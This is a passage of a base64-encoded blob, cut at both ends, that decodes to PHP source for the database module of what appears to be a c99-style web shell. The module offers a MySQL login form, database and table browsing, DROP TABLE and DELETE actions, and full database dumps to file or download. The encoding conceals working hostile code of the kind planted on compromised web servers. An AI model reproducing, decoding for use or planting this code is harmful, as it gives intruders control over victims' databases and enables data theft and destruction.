lY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iXCIpPC9iPjxicj4iOwogIGlmIChjb3VudCgkc3FscXVpY2tsYXVuY2gpID4gMCkge2ZvcmVhY2goJHNxbHF1aWNrbGF1bmNoIGFzICRpdGVtKSB7ZWNobyAiWyA8YSBocmVmPVwiIi4kaXRlbVsxXS4iXCI+PGI+Ii4kaXRlbVswXS4iPC9iPjwvYT4gXSAiO319CiAgZWNobyAiPC9jZW50ZXI+IjsKfQplY2hvICI8L3RkPjwvdHI+PHRyPiI7CmlmICghJHNxbF9zb2NrKSB7Pz48dGQgd2lkdGg9IjI4JSIgaGVpZ2h0PSIxMDAiIHZhbGlnbj0idG9wIj48Y2VudGVyPjxmb250IHNpemU9IjUiPiBpIDwvZm9udD48L2NlbnRlcj48bGk+SWYgbG9naW4gaXMgbnVsbCwgbG9naW4gaXMgb3duZXIgb2YgcHJvY2Vzcy48bGk+SWYgaG9zdCBpcyBudWxsLCBob3N0IGlzIGxvY2FsaG9zdDwvYj48bGk+SWYgcG9ydCBpcyBudWxsLCBwb3J0IGlzIDMzMDYgKGRlZmF1bHQpPC90ZD48dGQgd2lkdGg9IjkwJSIgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCI+PFRBQkxFIGhlaWdodD0xIGNlbGxTcGFjaW5nPTAgY2VsbFBhZGRpbmc9MCB3aWR0aD0iMTAwJSIgYm9yZGVyPTA+PHRyPjx0ZD4mbmJzcDs8Yj5QbGVhc2UsIGZpbGwgdGhlIGZvcm06PC9iPjx0YWJsZT48dHI+PHRkPjxiPlVzZXJuYW1lPC9iPjwvdGQ+PHRkPjxiPlBhc3N3b3JkPC9iPiZuYnNwOzwvdGQ+PHRkPjxiPkRhdGFiYXNlPC9iPiZuYnNwOzwvdGQ+PC90cj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+IiBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9InNxbCI+PHRyPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX2xvZ2luIiB2YWx1ZT0icm9vdCIgbWF4bGVuZ3RoPSI2NCI+PC90ZD48dGQ+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iIiBtYXhsZW5ndGg9IjY0Ij48L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX2RiIiB2YWx1ZT0iIiBtYXhsZW5ndGg9IjY0Ij48L3RkPjwvdHI+PHRyPjx0ZD48Yj5Ib3N0PC9iPjwvdGQ+PHRkPjxiPlBPUlQ8L2I+PC90ZD48L3RyPjx0cj48dGQgYWxpZ249cmlnaHQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSJsb2NhbGhvc3QiIG1heGxlbmd0aD0iNjQiPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9IjMzMDYiIG1heGxlbmd0aD0iNiIgc2l6ZT0iMyI+PC90ZD48dGQ+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkNvbm5lY3QiPjwvdGQ+PC90cj48dHI+PHRkPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT48L3RkPjw/cGhwIH0KZWxzZQp7CiAgLy9TdGFydCBsZWZ0IHBhbmVsCiAgaWYgKCFlbXB0eSgkc3FsX2RiKSkKICB7CiAgID8+PHRkIHdpZHRoPSIyNSUiIGhlaWdodD0iMTAwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Ijw/cGhwIGVjaG8gJHN1cmwuImFjdD1zcWwmc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiImIjsgPz4iPjxiPkhvbWU8L2I+PC9hPjxociBzaXplPSIxIiBub3NoYWRlPjw/cGhwCiAgICRyZXN1bHQgPSBteXNxbF9saXN0X3RhYmxlcygkc3FsX2RiKTsKICAgaWYgKCEkcmVzdWx0KSB7ZWNobyBteXNxbF9zbWFydGVycm9yKCk7fQogICBlbHNlCiAgIHsKICAgIGVjaG8gIi0tLVsgPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiImXCI+PGI+Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpLiI8L2I+PC9hPiBdLS0tPGJyPiI7CiAgICAkYyA9IDA7CiAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7JGNvdW50ID0gbXlzcWxfcXVlcnkgKCJTRUxFQ1QgQ09VTlQoKikgRlJPTSAiLiRyb3dbMF0pOyAkY291bnRfcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJGNvdW50KTsgZWNobyAiPGI+KyZuYnNwOzxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX2RiPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iJnNxbF90Ymw9Ii5odG1sc3BlY2lhbGNoYXJzKCRyb3dbMF0pLiJcIj48Yj4iLmh0bWxzcGVjaWFsY2hhcnMoJHJvd1swXSkuIjwvYj48L2E+ICgiLiRjb3VudF9yb3dbMF0uIik8L2JyPjwvYj4iOyBteXNxbF9mcmVlX3Jlc3VsdCgkY291bnQpOyAkYysrO30KICAgIGlmICghJGMpIHtlY2hvICJObyB0YWJsZXMgZm91bmQgaW4gZGF0YWJhc2UuIjt9CiAgIH0KICB9CiAgZWxzZQogIHsKICAgPz48dGQgd2lkdGg9IjEiIGhlaWdodD0iMTAwIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iPD9waHAgZWNobyAkc3FsX3N1cmw7ID8+Ij48Yj5Ib21lPC9iPjwvYT48aHIgc2l6ZT0iMSIgbm9zaGFkZT48P3BocAogICAkcmVzdWx0ID0gbXlzcWxfbGlzdF9kYnMoJHNxbF9zb2NrKTsKICAgaWYgKCEkcmVzdWx0KSB7ZWNobyBteXNxbF9zbWFydGVycm9yKCk7fQogICBlbHNlCiAgIHsKICAgID8+PGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0IiB2YWx1ZT0ic3FsIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTsgPz4iPjxzZWxlY3QgbmFtZT0ic3FsX2RiIj48P3BocAogICAgJGMgPSAwOwogICAgJGRicyA9ICIiOwogICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9yb3coJHJlc3VsdCkpIHskZGJzIC49ICI8b3B0aW9uIHZhbHVlPVwiIi4kcm93WzBdLiJcIiI7IGlmICgkc3FsX2RiID09ICRyb3dbMF0pIHskZGJzIC49ICIgc2VsZWN0ZWQiO30gJGRicyAuPSAiPiIuJHJvd1swXS4iPC9vcHRpb24+IjsgJGMrKzt9CiAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwiXCI+RGF0YWJhc2VzICgiLiRjLiIpPC9vcHRpb24+IjsKICAgIGVjaG8gJGRiczsKICAgfQogICA/Pjwvc2VsZWN0PjxociBzaXplPSIxIiBub3NoYWRlPlBsZWFzZSwgc2VsZWN0IGRhdGFiYXNlPGhyIHNpemU9IjEiIG5vc2hhZGU+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdvIj48L2Zvcm0+PD9waHAKICB9CiAgLy9FbmQgbGVmdCBwYW5lbAogIGVjaG8gIjwvdGQ+PHRkIHdpZHRoPVwiMTAwJVwiIGhlaWdodD1cIjFcIiB2YWxpZ249XCJ0b3BcIj4iOwogIC8vU3RhcnQgY2VudGVyIHBhbmVsCiAgJGRpcGxheSA9IFRSVUU7CiAgaWYgKCRzcWxfZGIpCiAgewogICBpZiAoIWlzX251bWVyaWMoJGMpKSB7JGMgPSAwO30KICAgaWYgKCRjID09IDApIHskYyA9ICJubyI7fQogICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPjxjZW50ZXI+PGI+VGhlcmUgYXJlICIuJGMuIiB0YWJsZShzKSBpbiB0aGlzIERCICgiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYikuIikuPGJyPiI7CiAgIGlmIChjb3VudCgkZGJxdWlja2xhdW5jaCkgPiAwKSB7Zm9yZWFjaCgkZGJzcWxxdWlja2xhdW5jaCBhcyAkaXRlbSkge2VjaG8gIlsgPGEgaHJlZj1cIiIuJGl0ZW1bMV0uIlwiPiIuJGl0ZW1bMF0uIjwvYT4gXSAiO319CiAgIGVjaG8gIjwvYj48L2NlbnRlcj4iOwogICAkYWN0cyA9IGFycmF5KCIiLCJkdW1wIik7CiAgIGlmICgkc3FsX2FjdCA9PSAidGJsZHJvcCIpIHskc3FsX3F1ZXJ5ID0gIkRST1AgVEFCTEUiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJcbmAiLiR2LiJgICwiO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsLTEpLiI7IjsgJHNxbF9hY3QgPSAicXVlcnkiO30KICAgZWxzZWlmICgkc3FsX2FjdCA9PSAidGJsZW1wdHkiKSB7JHNxbF9xdWVyeSA9ICIiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJERUxFVEUgRlJPTSBgIi4kdi4iYCBcbiI7fSAkc3FsX2FjdCA9ICJxdWVyeSI7fQogICBlbHNlaWYgKCRzcWxfYWN0ID09ICJ0YmxkdW1wIikge2lmIChjb3VudCgkYm94dGJsKSA+IDApIHskZG1wdGJscyA9ICRib3h0Ymw7fSBlbHNlaWYoJHRoaXN0YmwpIHskZG1wdGJscyA9IGFycmF5KCRzcWxfdGJsKTt9ICRzcWxfYWN0ID0gImR1bXAiO30KICAgZWxzZWlmICgkc3FsX2FjdCA9PSAidGJsY2hlY2siKSB7JHNxbF9xdWVyeSA9ICJDSEVDSyBUQUJMRSI7IGZvcmVhY2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIlxuYCIuJHYuImAgLCI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCwtMSkuIjsiOyAkc3FsX2FjdCA9ICJxdWVyeSI7fQogICBlbHNlaWYgKCRzcWxfYWN0ID09ICJ0YmxvcHRpbWl6ZSIpIHskc3FsX3F1ZXJ5ID0gIk9QVElNSVpFIFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfYWN0ID0gInF1ZXJ5Ijt9CiAgIGVsc2VpZiAoJHNxbF9hY3QgPT0gInRibHJlcGFpciIpIHskc3FsX3F1ZXJ5ID0gIlJFUEFJUiBUQUJMRSI7IGZvcmVhY2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIlxuYCIuJHYuImAgLCI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCwtMSkuIjsiOyAkc3FsX2FjdCA9ICJxdWVyeSI7fQogICBlbHNlaWYgKCRzcWxfYWN0ID09ICJ0YmxhbmFseXplIikgeyRzcWxfcXVlcnkgPSAiQU5BTFlaRSBUQUJMRSI7IGZvcmVhY2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIlxuYCIuJHYuImAgLCI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCwtMSkuIjsiOyAkc3FsX2FjdCA9ICJxdWVyeSI7fQogICBlbHNlaWYgKCRzcWxfYWN0ID09ICJkZWxldGVyb3ciKSB7JHNxbF9xdWVyeSA9ICIiOyBpZiAoIWVtcHR5KCRib3hyb3dfYWxsKSkgeyRzcWxfcXVlcnkgPSAiREVMRVRFICogRlJPTSBgIi4kc3FsX3RibC4iYDsiO30gZWxzZSB7Zm9yZWFjaCgkYm94cm93IGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiREVMRVRFICogRlJPTSBgIi4kc3FsX3RibC4iYCBXSEVSRSIuJHYuIiBMSU1JVCAxO1xuIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKTt9ICRzcWxfYWN0ID0gInF1ZXJ5Ijt9CiAgIGVsc2VpZiAoJHNxbF90YmxfYWN0ID09ICJpbnNlcnQiKQogICB7CiAgICBpZiAoJHNxbF90YmxfaW5zZXJ0X3JhZGlvID09IDEpCiAgICB7CiAgICAgJGtleXMgPSAiIjsKICAgICAkYWtleXMgPSBhcnJheV9rZXlzKCRzcWxfdGJsX2luc2VydCk7CiAgICAgZm9yZWFjaCAoJGFrZXlzIGFzICR2KSB7JGtleXMgLj0gImAiLmFkZHNsYXNoZXMoJHYpLiJgLCAiO30KICAgICBpZiAoIWVtcHR5KCRrZXlzKSkgeyRrZXlzID0gc3Vic3RyKCRrZXlzLDAsc3RybGVuKCRrZXlzKS0yKTt9CiAgICAgJHZhbHVlcyA9ICIiOwogICAgICRpID0gMDsKICAgICBmb3JlYWNoIChhcnJheV92YWx1ZXMoJHNxbF90YmxfaW5zZXJ0KSBhcyAkdikge2lmICgkZnVuY3QgPSAkc3FsX3RibF9pbnNlcnRfZnVuY3RzWyRha2V5c1skaV1dKSB7JHZhbHVlcyAuPSAkZnVuY3QuIiAoIjt9ICR2YWx1ZXMgLj0gIiciLmFkZHNsYXNoZXMoJHYpLiInIjsgaWYgKCRmdW5jdCkgeyR2YWx1ZXMgLj0gIikiO30gJHZhbHVlcyAuPSAiLCAiOyAkaSsrO30KICAgICBpZiAoIWVtcHR5KCR2YWx1ZXMpKSB7JHZhbHVlcyA9IHN1YnN0cigkdmFsdWVzLDAsc3RybGVuKCR2YWx1ZXMpLTIpO30KICAgICAkc3FsX3F1ZXJ5ID0gIklOU0VSVCBJTlRPIGAiLiRzcWxfdGJsLiJgICggIi4ka2V5cy4iICkgVkFMVUVTICggIi4kdmFsdWVzLiIgKTsiOwogICAgICRzcWxfYWN0ID0gInF1ZXJ5IjsKICAgICAkc3FsX3RibF9hY3QgPSAiYnJvd3NlIjsKICAgIH0KICAgIGVsc2VpZiAoJHNxbF90YmxfaW5zZXJ0X3JhZGlvID09IDIpCiAgICB7CiAgICAgJHNldCA9IG15c3FsX2J1aWxkd2hlcmUoJHNxbF90YmxfaW5zZXJ0LCIsICIsJHNxbF90YmxfaW5zZXJ0X2Z1bmN0cyk7CiAgICAgJHNxbF9xdWVyeSA9ICJVUERBVEUgYCIuJHNxbF90YmwuImAgU0VUICIuJHNldC4iIFdIRVJFICIuJHNxbF90YmxfaW5zZXJ0X3EuIiBMSU1JVCAxOyI7CiAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRzcWxfcXVlcnkpIG9yIHByaW50KG15c3FsX3NtYXJ0ZXJyb3IoKSk7CiAgICAgJHJlc3VsdCA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX0FTU09DKTsKICAgICAkc3FsX2FjdCA9ICJxdWVyeSI7CiAgICAgJHNxbF90YmxfYWN0ID0gImJyb3dzZSI7CiAgICB9CiAgIH0KICAgaWYgKCRzcWxfYWN0ID09ICJxdWVyeSIpCiAgIHsKICAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsKICAgIGlmICgoJHN1Ym1pdCkgYW5kICghJHNxbF9xdWVyeV9yZXN1bHQpIGFuZCAoJHNxbF9jb25maXJtKSkge2lmICghJHNxbF9xdWVyeV9lcnJvcikgeyRzcWxfcXVlcnlfZXJyb3IgPSAiUXVlcnkgd2FzIGVtcHR5Ijt9IGVjaG8gIjxiPkVycm9yOjwvYj4gPGJyPiIuJHNxbF9xdWVyeV9lcnJvci4iPGJyPiI7fQogICAgaWYgKCRzcWxfcXVlcnlfcmVzdWx0IG9yICghJHNxbF9jb25maXJtKSkgeyRzcWxfYWN0ID0gJHNxbF9nb3RvO30KICAgIGlmICgoISRzdWJtaXQpIG9yICgkc3FsX2FjdCkpIHtlY2hvICI8dGFibGUgYm9yZGVyPVwiMFwiIHdpZHRoPVwiMTAwJVwiIGhlaWdodD1cIjFcIj48dHI+PHRkPjxmb3JtIGFjdGlvbj1cIiIuJHNxbF9zdXJsLiJcIiBtZXRob2Q9XCJQT1NUXCI+PGI+IjsgaWYgKCgkc3FsX3F1ZXJ5KSBhbmQgKCEkc3VibWl0KSkge2VjaG8gIkRvIHlvdSByZWFsbHkgd2FudCB0bzoiO30gZWxzZSB7ZWNobyAiU1FMLVF1ZXJ5IDoiO30gZWNobyAiPC9iPjxicj48YnI+PHRleHRhcmVhIG5hbWU9XCJzcWxfcXVlcnlcIiBjb2xzPVwiMTAwXCIgcm93cz1cIjEwXCI+Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcXVlcnkpLiI8L3RleHRhcmVhPjxicj48YnI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2FjdFwiIHZhbHVlPVwicXVlcnlcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfdGJsXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzdWJtaXRcIiB2YWx1ZT1cIjFcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfZ290b1wiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZ290bykuIlwiPjxpbnB1dCB0eXBlPVwic3VibWl0XCIgbmFtZT1cInNxbF9jb25maXJtXCIgdmFsdWU9XCJZZXNcIj4mbmJzcDs8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiTm9cIj48L2Zvcm0+PC90ZD48L3RyPjwvdGFibGU+Ijt9CiAgIH0KICAgaWYgKGluX2FycmF5KCRzcWxfYWN0LCRhY3RzKSkKICAgewogICAgPz48dGFibGUgYm9yZGVyPSIwIiB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxIj48dHI+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PGI+Q3JlYXRlIG5ldyB0YWJsZTo8L2I+PGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0IiB2YWx1ZT0ic3FsIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfYWN0IiB2YWx1ZT0ibmV3dGJsIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfZGIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfbmV3dGJsIiBzaXplPSIyMCI+Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkNyZWF0ZSI+PC9mb3JtPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PGI+RHVtcCBEQjo8L2I+PGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0IiB2YWx1ZT0ic3FsIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfYWN0IiB2YWx1ZT0iZHVtcCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2RiIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2xvZ2luIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfc2VydmVyIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7ID8+Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZHVtcF9maWxlIiBzaXplPSIzMCIgdmFsdWU9Ijw/cGhwIGVjaG8gImR1bXBfIi5nZXRlbnYoIlNFUlZFUl9OQU1FIikuIl8iLiRzcWxfZGIuIl8iLmRhdGUoImQtbS1ZLUgtaS1zIikuIi5zcWwiOyA/PiI+Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT1cInN1Ym1pdFwiIHZhbHVlPSJEdW1wIj48L2Zvcm0+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjwvdHI+PC90YWJsZT48P3BocAogICAgaWYgKCFlbXB0eSgkc3FsX2FjdCkpIHtlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPiI7fQogICAgaWYgKCRzcWxfYWN0ID09ICJuZXd0YmwiKQogICAgewoKICAgICBlY2hvICI8Yj4iOwogICAgIGlmICgobXlzcWxfY3JlYXRlX2RiICgkc3FsX25ld2RiKSkgYW5kICghZW1wdHkoJHNxbF9uZXdkYikpKSB7ZWNobyAiREIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9uZXdkYikuIlwiIGhhcyBiZWVuIGNyZWF0ZWQgd2l0aCBzdWNjZXNzITwvYj48YnI+IjsKICAgIH0KICAgIGVsc2Uge2VjaG8gIkNhbid0IGNyZWF0ZSBEQiBcIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX25ld2RiKS4iXCIuPGJyPlJlYXNvbjo8L2I+ICIubXlzcWxfc21hcnRlcnJvcigpO30KICAgfQogICBlbHNlaWYgKCRzcWxfYWN0ID09ICJkdW1wIikKICAgewogICAgaWYgKGVtcHR5KCRzdWJtaXQpKQogICAgewogICAgICRkaXBsYXkgPSBGQUxTRTsKICAgICBlY2hvICI8Zm9ybSBtZXRob2Q9XCJHRVRcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJhY3RcIiB2YWx1ZT1cInNxbFwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9hY3RcIiB2YWx1ZT1cImR1bXBcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfZGJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2xvZ2luXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wYXNzd2RcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9zZXJ2ZXJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wb3J0XCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3RibFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKS4iXCI+PGI+U1FMLUR1bXA6PC9iPjxicj48YnI+IjsKICAgICBlY2hvICI8Yj5EQjo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF9kYlwiIHZhbHVlPVwiIi51cmxlbmNvZGUoJHNxbF9kYikuIlwiPjxicj48YnI+IjsKICAgICAkdiA9IGpvaW4gKCI7IiwkZG1wdGJscyk7CiAgICAgZWNobyAiPGI+T25seSB0YWJsZXMgKGV4cGxvZGUgXCI7XCIpJm5ic3A7PGI+PHN1cD4xPC9zdXA+PC9iPjo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImRtcHRibHNcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkdikuIlwiIHNpemU9XCIiLihzdHJsZW4oJHYpKzUpLiJcIj48YnI+PGJyPiI7CiAgICAgaWYgKCRkdW1wX2ZpbGUpIHskdG1wID0gJGR1bXBfZmlsZTt9CiAgICAgZWxzZSB7JHRtcCA9IGh0bWxzcGVjaWFsY2hhcnMoIi4vZHVtcF8iLmdldGVudigiU0VSVkVSX05BTUUiKS4iXyIuJHNxbF9kYi4iXyIuZGF0ZSgiZC1tLVktSC1pLXMiKS4iLnNxbCIpO30KICAgICBlY2hvICI8Yj5GaWxlOjwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX2R1bXBfZmlsZVwiIHZhbHVlPVwiIi4kdG1wLiJcIiBzaXplPVwiIi4oc3RybGVuKCR0bXApK3N0cmxlbigkdG1wKSAlIDMwKS4iXCI+PGJyPjxicj4iOwogICAgIGVjaG8gIjxiPkRvd25sb2FkOiA8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJzcWxfZHVtcF9kb3dubG9hZFwiIHZhbHVlPVwiMVwiIGNoZWNrZWQ+PGJyPjxicj4iOwogICAgIGVjaG8gIjxiPlNhdmUgdG8gZmlsZTogPC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic3FsX2R1bXBfc2F2ZXRvZmlsZVwiIHZhbHVlPVwiMVwiIGNoZWNrZWQ+IjsKICAgICBlY2hvICI8YnI+PGJyPjxpbnB1dCB0eXBlPVwic3VibWl0XCIgbmFtZT1cInN1Ym1pdFwiIHZhbHVlPVwiRHVtcFwiPjxicj48YnI+PGI+PHN1cD4xPC9zdXA+PC9iPiAtIGFsbCwgaWYgZW1wdHkiOwogICAgIGVjaG8gIjwvZm9ybT4iOwogICAgfQogICAgZWxzZQogICAgewogICAgICRkaXBsYXkgPSBUU